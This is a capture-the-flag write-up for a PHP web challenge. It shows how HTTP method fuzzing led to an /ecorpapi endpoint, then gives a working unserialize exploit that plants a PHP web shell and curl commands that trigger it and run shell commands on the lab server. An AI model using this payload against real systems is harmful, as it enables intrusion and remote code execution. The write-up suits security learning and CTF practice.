E-Corp (gold, 200p)

E CORP is back, there are members from fsociety that pointed out IP address of a server that could hide important information on "Whiterose".

Can You Hack E CORP?
http://10.XX.32.138

---

solution

The website contains a single image and nothing more.

Web enumeration didn't find any new files or directories, except that / is served by /index.php, which means that server is running PHP.

Fuzzing HTTP methods and simply changing from GET to POST reveals a new directory - /ecorpapi.

POST / HTTP/1.1
(..)

HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 17:35:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 57
Connection: close
Content-Type: text/html; charset=UTF-8

Stack trace: #0 /ecorpapi/ 'deserialization' class ERROR

Any request to /ecorpapi returns the same HTTP response.

HTTP/1.1 200 OK
Date: Wed, 06 Oct 2021 17:38:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 66
Connection: close
Content-Type: text/html; charset=UTF-8

JSON: class fimport loaded
  Missing: 'file' and 'data' structure.

This hints to a classic PHP deserialization vulnerability, where a class name and field name is required to exploit it. Those are kindly provided. A source code of the class is needed to understand how fields are used and can be abused, but it is not provided. An educated guess had to be made that file and data fields could be used to write a file.

A good write-up, using the same fields (file and data) is available in article Remote code execution via PHP [Unserialize].

What's missing - where and how exactly to provide the payload. As it turns out, the returned error message doesn't change (it is a static message) and it is not known if the exploit worked. To top it off, file must be provided as full-path and web root /var/www/html isn't writable or isn't served as web root. All this guesswork took us around 24h and close to CTF's end we got a working payload, but the file was created empty (0 bytes), because our CTF provided environment was out of disk space. Needless to say, this was a badly created challenge.

Anyhow, HTTP request to exploit this vulnerability is a simple GET request as /ecorpapi/?data=<seriliazed-data>. And writable directory is /var/www/html/ecorpapi, which is served as /ecorpapi.

Create payload generation file payload.php, which creates file available via /ecorpapi/pwn.php and executes shell commands passed in parameter 1.

<?php
      class fimport {
              public $file = '/var/www/html/ecorpapi/pwn.php';
              public $data = '<?php system($_REQUEST[1]); ?>';
      }
      $payload = serialize(new fimport());
      echo $payload . "\n" . urlencode($payload) . "\n";
?>

$ php payload.php
O:7:"fimport":2:{s:4:"file";s:30:"/var/www/html/ecorpapi/pwn.php";s:4:"data";s:30:"<?php system($_REQUEST[1]); ?>";}
O%3A7%3A%22fimport%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A30%3A%22%2Fvar%2Fwww%2Fhtml%2Fecorpapi%2Fpwn.php%22%3Bs%3A4%3A%22data%22%3Bs%3A30%3A%22%3C%3Fphp+system%28%24_REQUEST%5B1%5D%29%3B+%3F%3E%22%3B%7D

Execute payload and enjoy remote code execution.

$ curl -s http://10.XX.32.138/ecorpapi/?data=O%3A7%3A%22fimport%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A30%3A%22%2Fvar%2Fwww%2Fhtml%2Fecorpapi%2Fpwn.php%22%3Bs%3A4%3A%22data%22%3Bs%3A30%3A%22%3C%3Fphp+system%28%24_REQUEST%5B1%5D%29%3B+%3F%3E%22%3B%7D
$ curl -s http://10.XX.32.138/ecorpapi/pwn.php?1=pwd
/var/www/html/ecorpapi

With command execution, getting flag should be easily.